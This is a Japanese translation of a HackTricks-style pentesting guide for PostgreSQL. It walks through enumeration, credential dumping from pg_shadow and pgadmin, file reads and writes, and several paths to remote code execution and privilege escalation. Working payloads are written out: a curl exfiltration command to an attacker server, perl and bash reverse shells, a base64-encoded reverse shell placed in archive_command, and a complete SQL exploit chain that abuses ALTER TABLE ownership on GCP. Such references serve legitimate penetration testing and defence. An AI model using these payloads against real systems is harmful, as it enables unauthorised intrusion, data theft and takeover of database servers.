43 KiB
5432,5433 - PostgreSQLのペンテスト
Trickestを使用して、世界で最も先進的なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、独占的なNFTのコレクションです
- 公式のPEASS&HackTricksのグッズを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、PRを hacktricks repo および hacktricks-cloud repo に提出してください。
基本情報
PostgreSQLは、SQL言語を使用しているオープンソースのオブジェクト関係データベースシステムです。
デフォルトポート: 5432で、このポートが既に使用されている場合、おそらく使用されていない次のポート(おそらく5433)がpostgresqlに使用されます。
PORT STATE SERVICE
5432/tcp open pgsql
接続
To connect to a PostgreSQL database, you can use the psql
command-line tool. The basic syntax is as follows:
psql -h <host> -p <port> -U <username> -d <database>
<host>
: The hostname or IP address of the PostgreSQL server.<port>
: The port number on which the PostgreSQL server is listening (default is 5432).<username>
: The username to connect to the database.<database>
: The name of the database to connect to.
If the PostgreSQL server is running on the local machine, you can omit the -h
option and use localhost
as the <host>
value. Similarly, if the server is using the default port, you can omit the -p
option.
Once connected, you will be prompted to enter the password for the specified username. If the password is correct, you will be logged in to the PostgreSQL database and can start executing SQL queries. To exit the psql
tool, you can use the \q
command.
Note: Make sure you have the necessary permissions to connect to the database.
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
Select user;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
# Get history of commands executed
\s
列挙
PostgreSQLのデータベースを乱用する方法についての詳細は、以下を参照してください:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %} postgresql-injection {% endcontent-ref %}
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
ポートスキャン
この研究によると、接続試行が失敗した場合、dblink
はsqlclient_unable_to_establish_sqlconnection
という例外をスローし、エラーの説明を含めます。以下にこれらの詳細の例を示します。
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- ホストがダウンしています
詳細: サーバーに接続できませんでした: ホストへのルートがありません。ホスト「1.2.3.4」でTCP/IP接続をポート5678で受け付けていますか?
- ポートが閉じています
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- ポートが開いています
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
または
DETAIL: FATAL: password authentication failed for user "name"
- ポートが開いているかフィルタリングされているか
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
残念ながら、PL/pgSQL関数内で例外の詳細を取得する方法はありません。ただし、PostgreSQLサーバーに直接接続できれば、詳細を取得することができます。システムテーブルから直接ユーザ名とパスワードを取得することができない場合は、前のセクションで説明したワードリスト攻撃が成功する可能性があります。
特権の列挙
ロール
ロールの種類 | |
---|---|
rolsuper | ロールにはスーパーユーザー特権があります |
rolinherit | ロールは、そのメンバーであるロールの特権を自動的に継承します |
rolcreaterole | ロールは他のロールを作成できます |
rolcreatedb | ロールはデータベースを作成できます |
rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として与えることができます |
rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除することができます。 |
rolconnlimit | ログインできるロールの場合、この設定はこのロールが作成できる同時接続の最大数を設定します。-1は制限なしを意味します。 |
rolpassword | パスワードではありません(常に******** と表示されます) |
rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用される)。期限がない場合はnullです。 |
rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については、セクション5.8を参照してください。 |
rolconfig | 実行時設定変数のロール固有のデフォルト |
oid | ロールのID |
興味深いグループ
- もし**
pg_execute_server_program
**のメンバーであれば、プログラムを実行できます - もし**
pg_read_server_files
**のメンバーであれば、ファイルを読み取ることができます - もし**
pg_write_server_files
**のメンバーであれば、ファイルを書き込むことができます
{% hint style="info" %} Postgresでは、ユーザー、グループ、ロールは同じものです。それは単に使用方法とログインを許可するかどうかに依存します。 {% endhint %}
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
テーブル
Command | Description |
---|---|
\dt |
List all tables in the current database. |
\d+ |
Show detailed information about a specific table. |
\d table_name |
Show detailed information about a specific table. |
\dS |
Show detailed information about system tables. |
\dS+ |
Show detailed information about system tables, including additional statistics. |
\d+ table_name |
Show detailed information about a specific table, including additional statistics. |
\l+ |
List all databases, including additional information such as size and description. |
\du |
List all users and their roles. |
\dp |
List all privileges on database objects. |
\df |
List all functions. |
\dv |
List all views. |
\di |
List all indexes. |
\ds |
List all sequences. |
\dm |
List all materialized views. |
\dT |
List all data types. |
\dc |
List all conversions. |
\do |
List all operators. |
\dC |
List all collations. |
\dE |
List all foreign data wrappers. |
\dx |
List all extensions. |
\dy |
List all event triggers. |
\dD |
List all domains. |
\dF |
List all text search configurations. |
\dL |
List all procedural languages. |
\dO |
List all operators of a specific type. |
\dT+ |
Show detailed information about a specific data type. |
\dC+ |
Show detailed information about a specific collation. |
\dE+ |
Show detailed information about a specific foreign data wrapper. |
\dx+ |
Show detailed information about a specific extension. |
\dy+ |
Show detailed information about a specific event trigger. |
\dD+ |
Show detailed information about a specific domain. |
\dF+ |
Show detailed information about a specific text search configuration. |
\dL+ |
Show detailed information about a specific procedural language. |
\dO+ |
Show detailed information about a specific operator of a specific type. |
コマンド | 説明 |
---|---|
\dt |
現在のデータベース内のすべてのテーブルをリストします。 |
\d+ |
特定のテーブルに関する詳細情報を表示します。 |
\d table_name |
特定のテーブルに関する詳細情報を表示します。 |
\dS |
システムテーブルに関する詳細情報を表示します。 |
\dS+ |
追加の統計情報を含むシステムテーブルに関する詳細情報を表示します。 |
\d+ table_name |
追加の統計情報を含む特定のテーブルに関する詳細情報を表示します。 |
\l+ |
サイズや説明などの追加情報を含むすべてのデータベースをリストします。 |
\du |
すべてのユーザーとその役割をリストします。 |
\dp |
データベースオブジェクトのすべての権限をリストします。 |
\df |
すべての関数をリストします。 |
\dv |
すべてのビューをリストします。 |
\di |
すべてのインデックスをリストします。 |
\ds |
すべてのシーケンスをリストします。 |
\dm |
すべてのマテリアライズドビューをリストします。 |
\dT |
すべてのデータ型をリストします。 |
\dc |
すべての変換をリストします。 |
\do |
すべての演算子をリストします。 |
\dC |
すべての照合順序をリストします。 |
\dE |
すべての外部データラッパーをリストします。 |
\dx |
すべての拡張機能をリストします。 |
\dy |
すべてのイベントトリガをリストします。 |
\dD |
すべてのドメインをリストします。 |
\dF |
すべてのテキスト検索設定をリストします。 |
\dL |
すべての手続き言語をリストします。 |
\dO |
特定のタイプの演算子をリストします。 |
\dT+ |
特定のデータ型に関する詳細情報を表示します。 |
\dC+ |
特定の照合順序に関する詳細情報を表示します。 |
\dE+ |
特定の外部データラッパーに関する詳細情報を表示します。 |
\dx+ |
特定の拡張機能に関する詳細情報を表示します。 |
\dy+ |
特定のイベントトリガに関する詳細情報を表示します。 |
\dD+ |
特定のドメインに関する詳細情報を表示します。 |
\dF+ |
特定のテキスト検索設定に関する詳細情報を表示します。 |
\dL+ |
特定の手続き言語に関する詳細情報を表示します。 |
\dO+ |
特定のタイプの演算子に関する詳細情報を表示します。 |
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
関数
PostgreSQLは、データベース内で使用できるさまざまな関数を提供しています。これらの関数は、データの操作や計算、変換などの目的で使用されます。以下に、よく使用される関数のいくつかを紹介します。
文字列関数
length(string)
:指定した文字列の長さを返します。substring(string, start, length)
:指定した文字列の一部を切り出します。concat(string1, string2)
:2つの文字列を連結します。lower(string)
:指定した文字列を小文字に変換します。upper(string)
:指定した文字列を大文字に変換します。
数値関数
abs(number)
:指定した数値の絶対値を返します。round(number, decimal_places)
:指定した数値を指定した小数桁数に丸めます。floor(number)
:指定した数値を切り捨てます。ceiling(number)
:指定した数値を切り上げます。
日付関数
now()
:現在の日時を返します。date_part('part', date)
:指定した日付の特定の部分(年、月、日など)を返します。date_trunc('part', date)
:指定した日付を指定した部分まで切り捨てます。
これらの関数は、データベース内でのデータ操作やクエリの作成に役立ちます。
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
ファイルシステムの操作
ディレクトリとファイルの読み取り
このcommitから、DEFAULT_ROLE_READ_SERVER_FILES
グループ(pg_read_server_files
と呼ばれる)のメンバーとスーパーユーザーは、任意のパスで**COPY
**メソッドを使用することができます(genfile.c
のconvert_and_check_filename
をチェックしてください)。
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
{% hint style="warning" %} スーパーユーザーではないが、CREATEROLE 権限を持っている場合、自分自身をそのグループのメンバーにすることができます:
GRANT pg_read_server_files TO username;
詳細情報 {% endhint %}
他のpostgres関数を使用して、ファイルを読み取るかディレクトリをリストすることができます。これらの関数は、スーパーユーザーおよび明示的な権限を持つユーザーのみが使用できます。
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
より多くの関数はhttps://www.postgresql.org/docs/current/functions-admin.htmlで見つけることができます。
簡単なファイル書き込み
ファイルの書き込みには、スーパーユーザーと**pg_read_server_files
**のメンバーのみがcopyを使用できます。
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
{% hint style="warning" %}
スーパーユーザーではないが、CREATEROLE
権限を持っている場合、そのグループのメンバーに自分自身を追加することができます:
GRANT pg_write_server_files TO username;
詳細情報 {% endhint %}
COPYは改行文字を処理できないため、ベース64ペイロードを使用していても、1行のコマンドを送信する必要があります。
このテクニックの非常に重要な制限は、copy
はバイナリファイルの書き込みに使用できないため、一部のバイナリ値を変更します。
バイナリファイルのアップロード
ただし、大きなバイナリファイルをアップロードするための他のテクニックがあります:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}
バグバウンティのヒント:Intigritiにサインアップしてください。これは、ハッカーによって作成されたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
RCE
プログラムへのRCE
バージョン9.3以降、RCEにはスーパーユーザーと**pg_execute_server_program
**グループのメンバーのみがcopyを使用できます(例:情報の外部流出:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
実行の例:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
{% hint style="warning" %}
スーパーユーザーではないが、CREATEROLE
権限を持っている場合、そのグループのメンバーに自分自身を追加することができます:
GRANT pg_execute_server_program TO username;
詳細はこちら {% endhint %}
または、metasploitのmulti/postgres/postgres_copy_from_program_cmd_exec
モジュールを使用します。この脆弱性についての詳細はこちらを参照してください。CVE-2019-9193として報告されていますが、Postgesはこれを機能として修正しないと宣言しました。
PostgreSQL言語を使用したRCE
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %} rce-with-postgresql-languages.md {% endcontent-ref %}
PostgreSQL拡張機能を使用したRCE
前の投稿からバイナリファイルのアップロード方法を学んだ後、PostgreSQL拡張機能をアップロードしてロードすることでRCEを取得しようとすることができます。
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %} rce-with-postgresql-extensions.md {% endcontent-ref %}
PostgreSQL設定ファイルRCE
PostgreSQLの設定ファイルは、データベースを実行しているpostgresユーザーによって書き込み可能です。したがって、スーパーユーザーとしてファイルシステムにファイルを書き込むことができ、したがってこのファイルを上書きすることができます。
ssl_passphrase_commandを使用したRCE
設定ファイルには、RCEにつながる可能性のあるいくつかの興味深い属性があります。
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
データベースのプライベートキーへのパスssl_passphrase_command = ''
プライベートファイルがパスワードで保護されている場合(暗号化されている場合)、postgresqlはこの属性で指定されたコマンドを実行します。ssl_passphrase_command_supports_reload = off
この属性がオンの場合、キーがパスワードで保護されている場合に実行されるコマンドは、pg_reload_conf()
が実行されたときに実行されます。
したがって、攻撃者は次の手順を実行する必要があります:
- サーバーからプライベートキーをダンプする
- ダウンロードしたプライベートキーを暗号化する:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
- 上書きする
- 現在のpostgresqlの設定をダンプする
- 上記の属性設定で設定を上書きする:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
pg_reload_conf()
を実行する
これをテストしてみたところ、プライベートキーファイルが640の権限を持ち、rootが所有し、グループssl-certまたはpostgres(postgresユーザーが読み取れるように)である必要があることがわかりました。また、_ /var/lib/postgresql/12/main_に配置されている必要があります。
このテクニックについての**詳細はこちら**を参照してください。
archive_commandを使用したRCE
設定ファイルのもう1つの攻撃可能な属性はarchive_command
です。
これを動作させるには、archive_mode
設定が'on'
または'always'
である必要があります。それが真である場合、archive_command
のコマンドを上書きして、WAL(Write-Ahead Logging)操作を介して実行することができます。
一般的な手順は次のとおりです:
- アーカイブモードが有効かどうかを確認する:
SELECT current_setting('archive_mode')
- ペイロードで
archive_command
を上書きする。たとえば、リバースシェル:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
- 設定をリロードする:
SELECT pg_reload_conf()
- WAL操作を強制的に実行し、アーカイブコマンドを呼び出す:
SELECT pg_switch_wal()
または一部のPostgresバージョンではSELECT pg_switch_xlog()
この設定とWALに関する**詳細はこちら**を参照してください。
Postgres Privesc
CREATEROLE Privesc
Grant
ドキュメントによると、**CREATEROLE
**権限を持つロールは、スーパーユーザーではない****任意のロールのメンバーシップを付与または取り消すことができます。
したがって、CREATEROLE
権限がある場合、他のロール(スーパーユーザーではない)へのアクセス権限を自分自身に付与することができ、ファイルの読み書きやコマンドの実行などのオプションを得ることができます。
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
パスワードの変更
この役割を持つユーザーは、他の非スーパーユーザーのパスワードを変更することもできます。
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
SUPERUSERへの特権昇格
ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできることは非常に一般的です。したがって、コードの実行権限を取得した後は、これらの権限を悪用してSUPERUSER
ロールを取得することができます。
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
{% hint style="info" %}
これは通常、pg_hba.conf
ファイル内の次の行によって可能になります:
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
{% endhint %}
ALTER TABLEの特権昇格
この解説記事では、Postgres GCPでALTER TABLEの特権を悪用して特権昇格が可能であった方法が説明されています。
通常、別のユーザーをテーブルの所有者にすることはエラーが発生するはずですが、どうやらGCPでは非スーパーユーザーのpostgresユーザーにそのオプションが与えられていました。
この考えを結びつけると、INSERT/UPDATE/ANALYZEコマンドがインデックス関数を持つテーブルで実行されると、関数はコマンドの一部としてテーブルの所有者の権限で呼び出されることがわかります。そのため、関数を使用してインデックスを作成し、そのテーブルに対して所有者の特権を持つスーパーユーザーに与え、その後、悪意のある関数を使用してテーブル上でANALYZEを実行することが可能です。これにより、所有者の特権を使用してコマンドを実行することができます。
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
悪用
- 新しいテーブルを作成します。
- ダミーのコンテンツをテーブルに挿入し、インデックス関数が処理するものを用意します。
- テーブルに悪意のあるインデックス関数(コード実行ペイロードを含む)を作成します。
- テーブルの所有者を cloudsqladmin に変更します。これはGCPのスーパーユーザーロールであり、Cloud SQLがデータベースを維持および管理するためにのみ使用されます。
- テーブルをANALYZEし、PostgreSQLエンジンがユーザーコンテキストをテーブルの所有者(cloudsqladmin)に切り替え、cloudsqladminの権限で悪意のあるインデックス関数を呼び出すことで、以前に実行する権限がなかったシェルコマンドを実行します。
PostgreSQLでは、このフローは次のようになります:
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
INSERT INTO temp_table VALUES ('dummy content');
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
ALTER TABLE temp_table OWNER TO cloudsqladmin;
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
ANALYZE public.temp_table;
実行したエクスプロイトSQLクエリの後、shell_commands_results
テーブルには実行されたコードの出力が含まれています。
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
ローカルログイン
一部の設定ミスのあるPostgreSQLインスタンスでは、任意のローカルユーザーのログインが許可される場合があります。dblink
関数を使用して、127.0.0.1からローカルログインすることができます。
\du * # Get Users
\l # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);
{% hint style="warning" %}
前のクエリが動作するためには、dblink
関数が存在する必要があります。存在しない場合は、以下のコマンドで作成してみることができます。
CREATE EXTENSION dblink;
{% endhint %}
もし特権を持つユーザーのパスワードを持っているが、そのユーザーは外部IPからのログインが許可されていない場合、以下の関数を使用してそのユーザーとしてクエリを実行することができます。
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);
この関数が存在するかどうかを確認することができます。以下の方法で確認できます。
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
SECURITY DEFINERを持つカスタム定義関数
この解説記事では、IBMが提供するPostgreSQLインスタンス内で、ペンテスターがSECURITY DEFINERフラグを持つこの関数を見つけたため、特権昇格が可能になりました。
CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
VOLATILE SECURITY DEFINER
PARALLEL UNSAFE
COST 100
AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…
ドキュメントで説明されているように、SECURITY DEFINERを持つ関数は、それを所有するユーザーの特権で実行されます。したがって、関数がSQLインジェクションの脆弱性を持っているか、攻撃者が制御するパラメータで特権のあるアクションを実行している場合、PostgreSQL内で特権昇格が悪用される可能性があります。
前のコードの4行目で、関数にはSECURITY DEFINERフラグがあることがわかります。
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
そして、コマンドを実行します:
PL/pgSQLを使用したパスワードブルートフォース
PL/pgSQLは、完全な機能を備えたプログラミング言語であり、SQLよりもはるかに手続き的な制御が可能です。ループや他の制御構造を使用することができます。SQL文やトリガーは、PL/pgSQL言語で作成された関数を呼び出すことができます。
この言語を悪用して、PostgreSQLにユーザーの資格情報をブルートフォースさせることができます。
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %} pl-pgsql-password-bruteforce.md {% endcontent-ref %}
POST
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
ロギング
postgresql.conf ファイルの中で、以下の設定を変更することで、PostgreSQL のログを有効にすることができます。
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
次に、サービスを再起動します。
pgadmin
pgadminは、PostgreSQLの管理および開発プラットフォームです。
_pgadmin4.db_ファイル内にはパスワードが含まれています。
スクリプト内の_decrypt_関数を使用して、それらを復号化することができます:https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
pg_hba
クライアントの認証は、一般的に pg_hba.conf という名前の設定ファイルで制御されます。このファイルには、いくつかのレコードがあります。レコードは次の7つの形式のいずれかを持つことができます。
各レコードは、接続タイプ、クライアントのIPアドレス範囲(接続タイプに関連する場合)、データベース名、ユーザ名、およびこれらのパラメータに一致する接続に使用される認証方法を指定します。認証を実行するためには、一致する接続タイプ、クライアントアドレス、要求されたデータベース、およびユーザ名を持つ最初のレコードが使用されます。 "フォールスルー"や"バックアップ"はありません:1つのレコードが選択され、認証が失敗した場合、後続のレコードは考慮されません。一致するレコードがない場合、アクセスは拒否されます。
パスワードベースの認証方法は、md5、crypt、およびpasswordです。これらの方法は、パスワードが接続を介して送信される方法を除いて、同様に動作します:それぞれ、MD5ハッシュ、crypt暗号化、およびクリアテキストです。制限として、cryptメソッドはpg_authidで暗号化されたパスワードでは機能しません。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo および hacktricks-cloud repo にPRを提出してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}